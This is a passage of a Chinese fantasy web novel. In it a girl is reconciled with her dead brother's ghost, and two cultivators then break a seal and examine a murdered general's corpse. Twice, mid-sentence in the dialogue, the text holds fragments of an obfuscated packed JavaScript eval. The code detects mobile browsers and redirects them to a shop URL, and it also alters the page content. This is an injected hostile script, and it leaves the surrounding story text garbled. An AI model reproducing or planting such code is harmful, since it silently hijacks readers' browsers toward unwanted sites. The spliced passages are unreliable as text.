可惜如今沦为鬼魂的萧吉,再怎么奋力都无法挣扎着拎起自己破碎糜烂的魂魄往前行走,哪怕是用尽信念的气力,也跑不了多远。如此,他的速度如何能够赶得上对风行术熟烂于心的朗月? 一阵劲风吹过,险些要将萧吉的魂魄吹成散沙。不过这道风虽然没有对他造成那般严重的打击,却也令他的神魄再短时间感到了涣散。 待萧吉醒过神时,就已经发现自己面前站了一个人,拦住了他的去路。 朗月比他的个子高出了快半截身子,所以身高的悬殊令他逃过对方眼神的审视貌似是一件轻松的事情,萧吉于是既不敢动弹,也不敢抬首往上探出半个眼神。 “既然来了,为何不去见见她?”朗月淡声道。 “我……不敢……” “那你就敢让萧喜的一辈子都这般自我封囚么?” “我……” 朗月叹了一口微不可闻的气:“我不知道当年的庆阳镇大劫里你们到底发生了什么事情,但我却知道萧喜也是血蠕的受害者,那时血蠕对她的心神一定造成了不可磨灭的打击,让她觉得很多事情都是她的错,但我感觉得到,事实并非如此,是吗?” “这些……我现在都已经知道了。当年是我心有疏忽,这才让阿喜被邪气攻心,由着血蠕侵蚀她的心境,其实……很多事情本就不是她的错。” “但是那时候知道事实的你已经死去,无口能开,这才让萧喜在自责自怨的深渊里越来越堕落。可是现在,你明明有机会,不是吗?” “如今的我,变成这般模样……怎敢轻易站到她面前?如此岂不是会叫她更加残害自我……” “你这是逃避,逃避往往会创造出很多理由。” “我……知道。”萧吉埋下的坑坑洼洼的血脑袋摇摇欲坠,他歪歪扭扭挂在肩部的两只残臂不断颤抖,似秋日里挂在枝头的枯叶,悲哀,凋零,陨灭。 他在哭,落下的泪沾着血花,一只只落到地面上,却又忽然散作萤火,散作幽青色的尘粒,包裹着透明的心绪。 “解铃还须系铃人。引魂针既散,少五得到了惩罚,封印也不会再留多久。所以,这一次,于你而言,于她而言,都是最后的机会了。” 朗月默默侧过半边身子,瞥见萧喜那双层层雨幕都遮拦不住的望眼欲穿的眼神。 “我想,你和我一定都不希望看到以后的萧喜还会如现在这般,可怜又可悲,却迟迟等不来救赎。” …… 萧吉听了朗月的话,他转回脚步,垂着首,自卑前行到萧喜身边,却不敢靠地太近。 “阿喜……” “哥哥,真的……是你,不是我的幻觉……” “可是你怎么不管是在我的幻觉里,还是真实的站在我眼前,都长不大了……”萧喜苦涩道,因为长时间的精神消耗,她的眼窝深深凹下,本该显得深邃的目光却在此时一反往常地毫无生机。 “因为我已经死去。”萧吉不敢抬头,他用凋零破碎的身子,敢站在妹妹面前依然是耗尽了无与伦比的信念和勇气。 “对不起……对不起……对不起……都是阿喜的错,都是阿喜的错……可是,哥哥你能不能再等等我,”萧喜忽然慌乱起来,本来无精打采地面孔上忽然生起一种隐隐约约的兴奋,如此突兀,显得疯癫而狂躁。 “我不求哥哥能够原谅我,但……但可不可以等等我,我已经知道金瑶蒂姐姐还活着了,等我找到她,我或许就敢来赎罪了!我……很快,我就会来陪哥哥,很快就会……” 原来这种疯癫而狂躁的兴奋所表现出来的,其实是对“死亡”的无比向往,在如今的萧喜眼里,死亡实在算不上可怕,反而是无与伦比的解脱。可是,现在的她却依然认为自己完全不配“解脱”。她连“死亡”的资格都不配拥有。 很显然,现在的萧喜已经进入了毫无理智的状态,她将朗月的存在视若无睹,任由在一旁的朗月听着她的这些话胆颤心惊。 “不,不……阿喜,”萧吉被萧喜吓地魂火连连惊颤,散落一方荧粉,被雨水打落。 他忘记了自己内心的顾虑,下意识地抬起头。凹陷下的颅骨白森森一片,烂肉混沌也填不满这里面的“空虚”,歪斜的眼珠子,只有一只能泛光,另一只被腐化地只剩浆白色的汁水,参和在红红白白的血肉模糊之中。 “哥哥……对不起,对不起,对不起,都是我的错才会让你变成这样!都是,都是我!对不起!啊啊啊!” 萧喜被萧吉的模样刺激地更加没了人样,她腿软下去,倒地不起,歪斜着身子还不忘将脑袋埋进臂弯,双肩颤抖着,抽噎之声融入乱雨纷飞的深夜。她孤身一人踩进了深渊的边缘,便再无法逃脱。 “不是你的错,阿喜,不是你的错……”萧吉嘴边嗫嚅着。 “阿喜,你这样惩罚自己本就毫无意义,六年前的事情,本就另有隐情……哥哥已经都知道了,都知道了……” “阿喜……当年血蠕之灾中,你身重血蠕,被邪念攻心,我在死后方知,却再无法告诉你。当年夜晚,在我看到三侨的那一刻,我就知道了所有的隐情,所以我从未因为这些怪过你。如今终于找到机会,却还是跟个懦夫一般,不敢将其告知于你,自认为如此什么都不做便会让你自行忘却,不让你再度回忆起往日的岁月,天真地以为,这样才是保护你的方式…… 却没想到,我的想法,将你困在无形的岁月里迟迟六年多,还试图让其囚困你一辈子……错的人,是哥哥,不是你。” “哥哥!你就算变成了这样,也要如此包庇我么!”萧喜忽地正起身来,却又无力站起,只好双手支撑起身躯,撑在烂泥地中。 矮下大半截身子的她在面对萧吉之时,只好仰面看他,这个角度,是儿时的萧喜看萧吉的角度,她竟妄想若是时间能被拨回到曾经的岁月里该多好啊。 然而也正是这个角度,让她不得不卑微地佝偻其自己的身躯,用苦苦哀求着的模样才能正视萧吉。比起最开始俯首看人时的心情,伏低而卑如蝼蚁般的心态才会令她心里好受一些。 “哥哥可知,若是当年没有我心生歹念,背地里通风报信,便不会令金瑶蒂遭遇不测?!哥哥可知,若是没有我,没有金瑶蒂的不测,你便不会在那个雨夜赶到歹人从中去救人,你便不会死于血蠕的血口?! 哥哥……你本来可以和我一起活下去,你本该可以!金瑶蒂本来也可以安身地活下去,不用像现在这样沦落到如此下落不明的天地! 哥哥,你到现在还不明白吗?! 你的妹妹,才是那个最该死的人! 你的妹妹,是所有人当中……最不配活下来的! 或许你还没有想到……你的妹妹到现在甚至连下地狱的资格都没有了!” 萧喜歇斯底里地哀吼着,声音干涩而失真。 她形单影只地站在阴暗之中,纷乱的头发湿地一塌涂地。 朗月实在不能从现在面前的这个人身上,找到任何一个与平日萧喜身上搭界的地方。 他的情绪在潜移默化之中,已经被萧喜感染。他渐渐失神,也不敢吱声,唯一能做的也仅限于陪萧喜一同站在雨中,任由雨水打湿全身。 “可是,你并不知道,若是没有我的考虑不周,没有我的自私,没有我的偏心,阿喜你也不会心生歹念,更不会被血蠕钻了空子。” 萧吉温和地说着,瘦弱而残破的身子缓缓前倾,虚空中抱住萧喜的双肩。哪怕知道兄妹两人生死两隔,哪怕拥抱不可触碰,他都抑制不住自己心间的这份冲动。 其实可能萧吉他自己都没有意识到,如今的他好似早已忽视了心中那份迟迟悬于心间的顾虑,他不再害怕自己恐怖不堪的身躯会将妹妹吓住。 他终于彻悟了朗月的话,“解铃还须系铃人”,他的顾虑和害怕只会将妹妹推入更加深不见底的幽谷,而若是他愿意放下这些顾虑,用他的坦然也会让萧喜渐渐能够面对自己,也是面对过去。 这仿佛也可以视为是一种执念放下的想法。 “什……么?”萧喜愣住。 萧吉继续说下去:“当时的你……不,你是从六年前乃至到现在为止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201477|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都不知晓自己早已被血蠕攻心,所以保留下来的记忆会让你无时无刻地怪罪自己,让自己深陷其中无法自拔。你说,我和瑶蒂都因你遭难,实则非也。你从来将目光局限于自己身上,从未想过真正令我们遭难的是血蠕,而不是你,反而你于我们一样都是这场浩劫里的受害者。 你多么坚强,努力活到现在。当年若不是因为我和金瑶蒂之事给你带来的那些刺激,你或许很难逃出血蠕的魔掌,你将身体里正在不断生长的血蠕硬生生地必出了身体,你活了下来,你的性命是我与金瑶蒂为你抢回来的,怎么会如你口中所言那般轻贱? 因为你活着,我为此高兴,从未怪责于你。可是,今日我才知道,你一心想着过去,甚至将活着视为赎罪的方式……你让我,如何,要如何……” “我身中……血蠕?!哥哥,你为何要用此谎言来骗我?!如若六年前的我,真是被血蠕控制了心智,我又如何能活到现在?!我应当与庆阳镇的百姓们一样,腐烂了心脏,融化了肋骨,失去了生命!” “那你当年难道没有怀疑过自己吗?你难道不问问你自己,六年前的你,为什么可以察觉到血蠕的气息,为什么可以找到我?一般的百姓,不可能感知到这场灾难来临前无声的风波。我不信你当时没有感觉到过,阿喜,你只是不信那偏偏是事实的现实,所以不要再被困于过去了。” “我……我……” 不得不说,萧吉的话一语中的,让萧喜一时间找不到辩驳的发力口。 萧喜没了气力,颓然下去,喃喃道:“可那又如何,你们还是死了,你们还会怪我的,就算哥哥不会,别人也会的吧……” “你是在说金瑶蒂?” “有她。” “我倒认为瑶蒂也定然会与我一样,不会怪责于你。因为,至少你在被蛊惑之后的最后一刻,还是后悔了,不是吗?” “可我还是必须要找到她,否则,我永远不会安心。为了哥哥你,为了金瑶蒂的安全,为了我的良心……阿喜也必须要做下去……” “我明白。只要阿喜愿意做什么,哥哥都会支持。我只是希望,你不要再像如今这样,好吗?这是……哥哥最后的执念,也是愿望。” 萧喜泪如雨下,频频点头,雨水糊了一嘴,情绪万分激动的情况下,什么都说不出来。 萧吉默默松开了手臂,自行往后退了好几步。 萧喜跪行不止,想要去触碰,却怎么也摸不到。 萧喜看着萧吉的身影越来越远,越来越不可触及,心知,她与哥哥再也不可能回到过去,如今的兄妹二人,阴阳两隔,生死两望。 想到这里,她失落地耷拉下脑袋,默默垂泪,似乎萧吉离去的身影将她的魂魄也一齐带了走去。 “阿喜,快看。” 忽然,远处萧吉的一道声音再度幽幽传入萧喜的耳畔。 萧喜连忙抬头。 在雨幕的边缘,一道道浑身散着荧火的魂影擦着黑暗的毛边,一只接一只地显身,排排站在萧吉的身后。 无数只鬼魂在远处竖起一道奇特的风景。 他们大多模样可怖,与萧吉相比起来也好不到哪里去。 可是就算他们的身影再怎么模糊,萧喜都不会认不出来。 记忆的碎片在她的脑海里不断地拼凑出曾经的岁月,这些岁月被她投射到眼前,覆盖在憧憧鬼影身上,如此契合。 六年前,庆阳镇的人们,站在那畔远远地望着她。 那些鬼魂们与萧吉一样,在此时了却了执念,终于敢露出面貌,与萧喜见上最后一遍。 “包子铺的刘叔……四水堂的马老板……彩云楼的丫鬟和小二们……甚至是,小时候曾经呆过的丐帮里的兄弟姐妹们……” 哈,她一个都没忘记…… “你看,阿喜,我们都没有怪罪过你。” 萧吉微笑道。 他忽然抬起一只摇摇欲坠的手臂,朝萧喜摇了摇手。他身后的众多魂灵们也一个接一个地微笑起来,做出了招手的姿势。尽管这样的身前和动作放在他们身上,是如此突兀诡异,却给了萧喜前所未有的安心,甚至让她不禁笑起。 “我们走了,阿喜,保重。” 一语落下,魂火飞散,升入空中,隐没在了雨幕之中。想必,也是变成了天上银河的其中一角吧。 107. 窃光难觅(1) 雨浮云低,暗处逢生。 雨水冲淡所有的情感,褪色的伤感却被一遍一遍描摹,绵绵不绝,余震留心,令人怎么都无法忽视。 朗月怔怔地站在雨中,望着那个远处,任由自己的情绪跟随雨点漂泊。 不知什么时候,萧喜已经能够站起,她自己走到朗月的面前,这让他才让回神。 萧喜神色虽然苍白,却有了生机。 碍于波谭乱雨的侵扰,她学着朗月的样式悄悄走近朗月,凑在他的耳畔,薄唇轻轻吐字:“谢谢你。” 短短三字,包含了无数情感,但朗月不敢轻易将此亵渎。他是这场故事中的旁观者,哪怕这场故事即将落幕,哪怕故事的主角相继立场,他都无法做到越矩,自以为是般地走上对方的台幕,替她演绎抑或是衍生这份情感。 如此厚重,深沉,他实在担当不起。 朗月在心里默默掂量着这份情感,在回神时,萧喜已经离开他的耳畔。他微微垂眸,刚好可以看清萧喜的面孔,虽然雨水和泥泞将她素日白净的面貌弄地面目全非,但她的眼神却异常灵动,一瞬间便可让她焕然一新,与先前全然不同。 萧喜的眼神有不可估量的神力,可以无声地于朗月对话。不难看出,眼神中的故事三千,睿智清晰,恰恰好好。朗月想,他或许可以省却很多的解释了。 这些解释可以有很多源头。 譬如因为自己对引魂针的怀疑而故意对她隐瞒事实的事情;譬如因为自己对她的不自信而擅作主张地安排她的事情;又譬如,他还残忍地逼迫了她去面对这些事情,美名其曰为“解铃还须系铃人”、“助她解脱”…… 他发现,无论如何,他好似都是有罪的…… 因为他旁观不久前的那场“生死两望”悲剧时,会意识到事情远比他想得还要残酷,会意识到萧喜的过去比他想得还要复杂。他觉得命运对萧喜来说真实残忍至极,进也是错,因为会带来超乎想象的疼痛,退亦是错,因为会带来不可泯灭的灾难。 如此一来,他竟然迷失了方向。 他不知道自己这么做,萧喜是否真的可以如他所想,“得到救赎”。 因为当时的他还没有等到萧喜的回复。 可是,方才萧喜那句情绪稳定而短小简洁的“谢谢你”其实已经给了他答案——他没有令她反感,也终于给她带来了真正的解脱。 朗月心尖颤动,觉得无比感动。 他并没有忘记手中金剑的作用,他将金剑双手递给萧喜,郑重说道:“这是芍七拜托我向你转交之物,幕后黑手少五已经魂飞魄散,封印不可再留,只要用此剑斩断封印,沉寂已久的血蠕之气会彻底消散,沧淩城的百姓们便会安然无恙了。” 萧喜眼波摇曳,其中有温清色的液体在眼眶中慢慢积蓄,她或许有些明白芍七特地将此剑交给她的意义,但还是忍不住问出口:“为何……” “他说,有些事情,还需你自己去了结。” 多么熟悉的话语,萧喜曾经对芍七也说过这句话。 那时,她见证了芍七,也是少七的过往,她觉得这句话理应佐证着他的命运。 如今,风水轮流转,少七也觉得这句话同样佐证着她的命运。 了结……了结的无非是六年前血蠕大劫给她带来的无数的创伤,恩恩怨怨积蓄颇多,若要摆脱,也只可用“了结”一词了。 她要握住这把剑毁灭这场想要再度翻身的血蠕,似乎只有这样,才会给她带来一些慰藉,这份慰藉充满了报复性的情节。 她恨六年前的血蠕,恨到了骨子里。 “其实还不止这些……”朗月忽然补道。 “什么?” “芍七说,这把剑也算是他向你赔礼的象征,他……也很谢谢你。” 萧喜听罢,嘴角微微扬起一弯笑。 “赔礼”,看来那家伙还没忘记之前故意刁难她的那些往事,也还知恩图报,算有些良心…… 萧喜收回笑颜后,紧紧握住了那把剑,金剑并没有表面看起来那般笨重,反而格外轻巧合适,仿佛是特意为她量身定做的。 她手心发力,狠狠地向祠堂的方向挥去,顷刻间,金光迸进,破败的祠堂再度被砍得不成模样。与此同时,苏府外墙发出一道道奇异的光芒,那种光芒宛如高悬银河上的星芒,萧喜和朗月都识得,这是齐芒星阵的光泽,只是它们比以往耀眼了许多。 苏府被耀眼的星光包裹。 伴随着萧喜对封印一次又一次的斩杀,星光越来越弱,最后有一阵阵琉璃破碎的声响落下,星光半点不见。 齐芒星阵没了存在的意义,自然就被一同摧毁掉了。这般强悍而古老的阵法,竟然在短时间内就被摧毁得面目全非。金剑的威力不可小觑。 只是,这把剑很有自己的想法。它好像很快就明白了自己的使命已经了却,于是再无任何停留的必要。剑身渐渐淡去,直到不见。 雨慢慢停了,周遭重归平静。 “一切都结束了。” 萧喜下意识地叹道。 “其实……远远没有。”朗月道。 萧喜朝他望去。 “我们还是得燃双玉。” 朗月正色解释道,说完之后,看向萧喜的表情也沉重了许多。 双玉在萧喜的身上,她听完朗月的话,很快就将东西从怀里拿了出来,所幸折腾了这么久,东西没有破损。 她一开始没有反应过来朗月这么做的意义,后而才联系起之前“卿卿”窃玉的事情,心里有了些苗头,她不假思索地说道:“你是要找苏且光把昭玉还回来?” “这只是其中一个原因。” 朗月蹙眉,语气越发凝重。 “芍七说,血蠕不会止息,而且幕后黑手少五不可能无缘无故就让这般强悍的阵法自行动摇,所以芍七认为,定有人从中作梗,故意要放少五出来,延续血蠕……” “你是觉得其中的部分隐情会与苏且光有关?” 朗月点了点头。 萧喜斟酌了半晌,不解道:“燃玉不是件小事情,你既然要这么做,怕是心底早就打定了主意?你与苏且光的接触仅限于他化作卿卿与你抢玉的过往,并且他生前也只是个凡人,你怎么会这般笃定他会知晓这些隐情?” “因为不久前,引魂针作用的时候,我 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“什么事情?”萧喜用手顺了顺被雨水打湿的发丝,将眼睛完完全全露出,直直看着朗月,其中闪烁着一丝光芒。 “幕后黑手很害怕我们见到苏且光。” “按照你这么说的话,少五作为苏府封印中的幕后黑手,他身后又有一只幕后黑手,那么所谓害怕我们见到苏且光的想法不仅仅是属于少五,也更属于少五身后的那个人?” “不错。” “而且还有一处令人细思极恐的事情,”朗月自行斟酌起来,后又说道,“血蠕始于少五和苏府的封印。那么不难想出,苏府里的人们作为与危险相距最近的对象,定会在一开始就遭受血蠕的侵蚀。” “就像这些方才被剥夺了心智的这些人一样,因血蠕而发作。” 萧喜微微侧身,眸光射向远处那些被水龙之声震慑倒地的人们。 “你不觉得很奇怪吗?既然苏府这些人都染上了血蠕,为什么仅仅只有苏且光一人死去?若说,苏且光作为这一时代家族唯一能将封印之事传承下来的人,所以被少五忌惮,从而被杀死的话,苏且光却又并非死于血蠕。这本就自相矛盾。” 萧喜听地心惊,迟疑了一会儿,缓缓开口:“你的意思是,苏且光并不是被少五杀死的?反而,很有可能是……被藏在暗处的那个指使少五的幕后之人杀死的?” “而且,那人极有可能是借助了外力完成此事,否则,不可能毫无破绽地让苏府的事情顺利发展到现在。” “所以,你敢笃定,苏且光之所以成为第一个被杀死的目标,是因为有人忌惮他的存在。而能这么做的又是藏在暗处的幕后黑手,故而,苏且光必然知晓有关幕后黑手的事情。” 朗月点头,他快步走向坍塌的祠堂,一边走一边说道:“首先,我必须要知道苏且光究竟是如何死的。” 萧喜明白他的意思,不敢再顾着留恋之前压在心间的沉重,于是紧上步伐,跟了上去。 他们两人准备将坍塌的祠堂处理干净一些,好让里面的棺椁露出模样来。 108. 窃光难觅(2) 朗月和萧喜两人,一个灵力消耗得太多,一个精神消耗得太多。所以,尽管清理一个小小的祠堂这般放在平时里看起来小菜一碟的事体,在如今都让他们觉得有些力不从心。 两人走走停停,收拾了得有近两个时辰,才叫那两只一大一小的棺椁露出模样。 好在暴雨既停,没有让他们吃更多的苦,否则,花去的时间不知要比两个时辰多多少。 本来,他们的目标仅仅是苏且光的棺椁。但是挖着搬着,刚好看到了挨在苏且光棺椁旁那只安放柳芊芊的棺椁的一角,两人微微沉默,最终都不约而同地选择将这只棺椁也弄出来,好叫它干净些。 虽然事情早已发生,场面他们也早已见过,但再第二次看时,还是会带来无限的感慨。 被雨水濡烂的“囍”字被外力撕扯地四分五裂,斑驳到不堪入目,被压在废墟里,等待糜烂入土。亦如苏且光和柳芊芊令人唏嘘的命运。 萧喜下意识地咬住唇,她眼眶酸意上涌,却怎么都哭不出泪来,泪早已流干。眼眶和泪沟近乎要被泪水和雨水泡烂,脆弱的皮肤给她带来隐隐约约的灼痛感。 朗月见她垂头不语,便伸手朝她眼前探去,温言说道:“别怕。” “我……我没怕。”萧喜支支吾吾反驳道,却掩饰不了语调尾部微微颤动的鼻音。 朗月默默收回了手,却又被萧喜一把拽住。 朗月动作僵了僵,声色微扬,却依旧温柔:“现在可没有黑雾了。” “我……我还没习惯,不……不行吗?” 什么鬼理由,萧喜,你这样岂不是等着别人来笑话你?! 萧喜不禁将头埋地更深了些。 这般动作落到朗月眼里,竟有些“娇羞”的意味。 萧喜本以为朗月要与平常一般嘲弄她,却没想到只是听到了对方有些无奈的叹息,他又道:“那你便拉着吧。” 说罢,朗月重新将手伸好,手掌自然张开,十分坦然。 萧喜怔了怔,抬首看了朗月一眼,看到的是同语气一样温柔的眼神,夜色如浓墨,尽管看不多大清他的容貌,她却依旧能感觉到这些……这种感觉……简直跟蒙眼看物的本领一样令人倍感惊奇。 她心尖儿微微颤动,心想,他果真是变了,变得厉害,变得她都快认不出他了。 “谢谢,”萧喜又道了一次谢,却是下意识的,毕竟从前的她实在不是个矫情的人,并不爱说这些礼貌性的话。 她将手放上朗月的手心,他手掌微合,温热覆上了她的掌心,也给足了她安心。 他们撬开了棺椁上的钉子,慢慢将棺材板子推开。 他们本以为会有很刺鼻的气息扑过来,却没有想到什么味道都没有。 朗月左手生火,一团微弱却跳跃的火光在他的掌心游走。 “居然……半点没有腐烂。” 萧喜不禁乍舌,因为在她的印象中,距离她从信笺中得知苏府嫡长子出事的日子已经过去将近十日了,更别提这个苏且光极有可能在很早之前就已经死去了。所以,这么久的日子下来,在如此闷热的天气下,又被封闭在狭小的棺椁里,这躯体竟然是半点不腐烂?! 实在不符合常理,萧喜想着想着,背后居然起了一阵冷汗。她倒不是因为害怕死人才有这种反应,而是畏惧这种玄乎怪异又找不到苗头的事情,这种事情往往代表着“未知”,未知可以勾起人心最深处的惧意。 “封印之地怨气丛生,苏且光冤魂在世,所以会被怨气滋养,躯体可保不腐。” “可如今……封印已经破了,他的身体岂不是真的要腐烂了?” 朗月一边拿火光照过苏且光的尸体,一边说道:“等事情了却后,我们便会安葬他和柳芊芊。” 萧喜惊魂未定般地“嗯”了一声,随后也跟着朗月的动作对苏且光的尸体细致观察起来。 苏且光的面貌虽然是极不自然的灰白色,却这也很难遮掩住死者生前意气风发的模样和气质。他眉目俊逸漂亮,骨相英气又明朗,气质却冷冰冰的,让人不禁联想起之前的鬼怪卿卿,真是如出一辙。他的模样,完美契合了天下百姓对“少年英将”的幻想。只是,就是这样名冠天下的传奇人物,最后却死的不明不白,让人觉得太过唏嘘,太过心寒。 朗月此时已经将目光锁定到尸体的喉结处,因为已经起了疑心,所以暂时松开了拉住萧喜的手,默默按上了尸体的皮肤。 验尸对于萧喜来说完全是知识上的盲点,平时脑袋跳跃无比的她在此时却跟木桩一般,木讷地站在朗月的身侧,久久无言。 等察觉到朗月情绪的变化后,萧喜才想起了动嘴讲话:“你发现什么了?” “尸体喉结处呈现的颜色十分怪异,有淡淡的青紫色,若不仔细看,便会以为是尸斑。不过,这具尸体并不会腐烂,所以不可能有尸斑。于是我用手放上去摸了摸,果然察觉到尸体喉咙上的脉管异常,是凹下去的。” “凹下去?这是什么现象?” 朗月摇了摇头,蹙眉道:“也许是中毒,也许是……” 此时,萧喜一声低呼打断了朗月的话,她诧异地指着尸体的侧面道:“你将尸体稍微侧翻过来看看。” 朗月照做,果然发现尸体后脖颈处有很深的血痕,因为微弱的火光照在上头,所以便留下了大片的暗处在下面,暗处是持有光源者绝对的视角盲处。还好此地还有萧喜注意着,要不然他是绝对觉不出异常的。 他们将目光全部注意到尸体后脖颈上深深的血痕。 “这么严重的伤口,还在脖子上,肯定是致命伤吧?”萧喜说道。 “伤痕怪异,看起来似是被绳索吊住后窒息而亡,可按照正常的逻辑来看,这种伤痕应该出现在身体正面,而非后脖颈。可是,我们方才也看见尸体正面喉结处除了一些青紫色的皮肤以外,没有任何特殊之处,更不提这般深重的伤口。” “那么就绝对不可能是吊死的了,”萧喜若有所思起来。 她目光顺着尸体往下继续看,最终将目光停在了腹部上,她顿了顿,叫朗月将掌中火往尸体腹腔上凑近些。 朗月顺手掀起尸体身上的白衫,看到了触目惊心的一幕。 尸体腹腔上有两到三个两指大的伤口,血虽凝固,但依旧可以看到伤口中深红色模糊的肉糜。 “这可比脖颈上的伤痕严重多了!”萧喜叹道。 “但却也不是致命的伤口,”朗月说道。 “为何?” “这些伤口虽然看起来严重,但却避开了要害,只要不失血过多,就不会伤及性命。这种伤口与其说是被恶人故意折腾出来的,不如说是在战场上厮杀时被人用以长□□伤的。因为苏且光身经百战,于是可以让这些长枪处处避开要害,表面血肉模糊,实际上却没有多深。” “失血过多……等等,你将才说,苏且光的喉结处的脉管有何异常?”萧喜忽然问道。 “脉管下凹。” “是主脉管,还是副脉管?” “是副脉管,若是主脉管,那必然丧命。” 萧喜微愣住,目光呆滞起来,似乎在想什么事情,不久后,她才有了反应,楞了楞才道:“我不知道事实是否真的如此,但是我心里大致有了答案。” “你说。” “我们刚才也都发现了,苏且光腹部和后脖颈处的伤口都并非致命,但是,你也说了,这些伤口因为避开了要害,所以只要不失血过多便不会要命。再者,在尸体上没有其余伤口的情况下,躯体血液呈现的色泽又证明没有明确的中毒迹象,那么苏且光的死,不就摆明了是失血过多后导致的吗?恰好,尸体正面喉结处的脉管下凹也可以作为血液流失而导致血管干瘪所呈现的现象。” “而且,你看,我们是不是可以将此处后脖颈处的伤口,视为一种凶手为了掩饰什么,而故意留下的放血杀人后的痕迹呢?反正,破裂的是副脉管,放血后带来的也是一种慢性死亡。”萧喜垂眸,伸手指了指尸体。 “可为什么要让苏且光以慢性死亡的方式死去呢?” 说到此处,萧喜不由地顿住。 朗月恰好将话接上:“因为下手之人必然是与死者亲近之人。” “为何?” “苏且光不是简单的人物,若是有人对他心起杀机,他不可能察觉不了。亲近之人,也可以说是让苏且光从未想过的会对他有此行径的人,才有机会动手。” “就算如此,那也不能证明杀人之人,不可以直接将苏且光毙命啊?” 朗月眸色渐沉:“想要凭借蛮力直接与苏且光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是他自己完全没有想到,却被贴身之人二次中伤,这些人极有可能是苏府的侍女、大夫,甚至是父母……因双方实力悬殊,以及苏且光本就身上有伤又体力有损的缘故,凶手无法给予他正面的伤害,反而从后方下了手,出其不意,这样不仅可以让苏且光无法立即还手,还能起到拖延时间的作用。因为苏且光不可能是一人回府,他身边的那些扈从对于凶手来说皆是祸患。” 朗月说得详尽清晰,总让萧喜以为,他自己便是经历过这些事情的当事人。 “你……你们仙机们当真是厉害无比。” 萧喜自然而然地以为,这是朗月作为一个仙机门弟子,应该储备的知识。 朗月不作言语,对萧喜的话不置可否。 萧喜听完了朗月的一系列分析后,又前前后后仔细思考了一番,待理清脉络之后,她想到朗月能一下子把事情说清楚,心里对他便不再只有钦佩。 紧接着,她心中多了很多悲哀、同情这样的情愫。 “一般来说,苏家人既然这般喜爱逃避,心里再想与苏且光撇清关系,在杀人这件事上,他们撑死也只是有贼心没贼胆吧?可是,重点便是,他们已经种下了这颗贼心,幕后黑手动摇封印,少五释放瘟疫,这些苏府人的贼心便是被血蠕落实成了贼胆,邪念放大,苏且光必死无疑。” 朗月点了点头,说道:“我的猜测丝毫未错。” 萧喜默哀着埋下头,悒悒不乐道:“苏且光在那么年轻的时候就自请去边境,除了继承义父遗志外,就是担心苏府家人会在动荡的时局里被他连累。结果,他一直忧心又小心保护着的家人却一直想着法子跟他撇请关系,好生寒心。可后来苏且光不是名声大震了么,苏府怎么还会是这样的态度?” 朗月垂眸道:“苏且光毕竟是将军,常年征战是常事,难免战败,尽管这只是杞人忧天的念头。掌握兵权者一旦战败,将会迎来无数弹劾,口诛笔伐下,无数事实歪曲,对苏且光来说无异于灭顶之灾。当然,这并非大势所趋。毕竟,这世上很多靠军权得势的家族,攀附不断的近亲远亲们总是络绎不断。 苏府之所以还这么对苏且光,是因为打心底里的不信任他,所以不愿接纳他的存在。苏府是经营快百年的商号的家族,据我所知,从商的苏家是非常排斥从兵从戎之士的,所以,不管苏且光的身份多么显贵,在他们眼里,就是个怪胎,从而不配得到认可。” 语罢,他接过萧喜手里的双玉,掌中火与之越靠越近,他想要燃玉。 “等会儿。” 他手里的动作被萧喜叫住。 “怎么了?” “我……我就是有点不解,我们为何要费这么大的力气,自行探讨苏且光的死因?双玉在手里,只要将苏且光的魂魄唤过来,我们不就可以直接问他本人吗,如此不是更好?” 109. 窃光难觅(3) 朗月的神色有些闪烁,不得不说,萧喜此人当真是聪慧,想要在她面前遮掩什么,都是有难度的。但是,他之前也确实在萧喜的眼皮子底下成功藏过一些事情。这次之所以败露,说到底,还是因为他太过心虚。因为,一个人越想要隐瞒什么,那么他的表现便会有多刻意。 他并不是没有考虑过萧喜说出的问题,反而想得比谁都要早。 他早就有所预感,苏且光的死会与苏府内幕牵扯上关系,而如若牵扯起苏府的内幕,那么多年前裴国公和先皇之事便是想要避开都不可能。这些事情,是他心底尘封多年的痛。 他无法想象在唤魂之后,苏且光会当着他,与一个与之毫不相干的外人说出这些,更可怕的啊,哲学还会牵扯到他的身份。他逃避过去,自然也会逃避这些。 真是讽刺,他在面对萧吉和萧喜的时候口口声声叫他们直面过去,可一旦将矛头指向自己时,才会猛然发现,自己才不是劝人行事的智者,反而该是受千夫所指的懦夫。 自古以来,旁观者总比当局者好做。 朗月很快冷静下来,随地找了个理由:“双玉唤魂时间很短,既然有些事情我们可以自行发觉,那就不必再在这上面浪费时间。” “原来如此……” 萧喜没有怀疑。 …… 掌中之火越来越旺,其中参和着的灵气可以将原本不可起火的玉器点燃,两只玉无辜地悬在火光上,任由身体被跳跃的火舌贪婪舔舐。 不一会儿,两只玉下端一角皆被融化,融化后的角落化作缕缕青烟,汇聚到两人身前,渐成人形。 苏且光的身影定定地站在了他们面前,身体通透,下身荧光点点,带着烟雾缭绕下的朦胧之色,叫人看不真切。他的眉目俊逸,有谦谦君子之风,与两人先前在棺椁所见的他的□□相比起来,多了一份灵动和生机。 他眉梢微微扬起,一眼看向的人便是朗月,其中眼神蕴含千言万语,无法一时讲清。 “好久不见。” 苏且光礼貌发了话,语气带着淡淡的忧郁之气。 朗月对此故意摆出一副事不关己的模样,好似摆明了要与苏且光划清界限。他对于苏且光先发制人的问候,只是微微颔首致了意。 “久仰久仰,”一旁的萧喜完全没有顾得上朗月态度上的转变,只是望着眼前这传说般的人物,连忙欠身作揖。 “萧姑娘客气什么?你待我如从前待卿卿那般就好。”苏且光只是面无表情地说道。 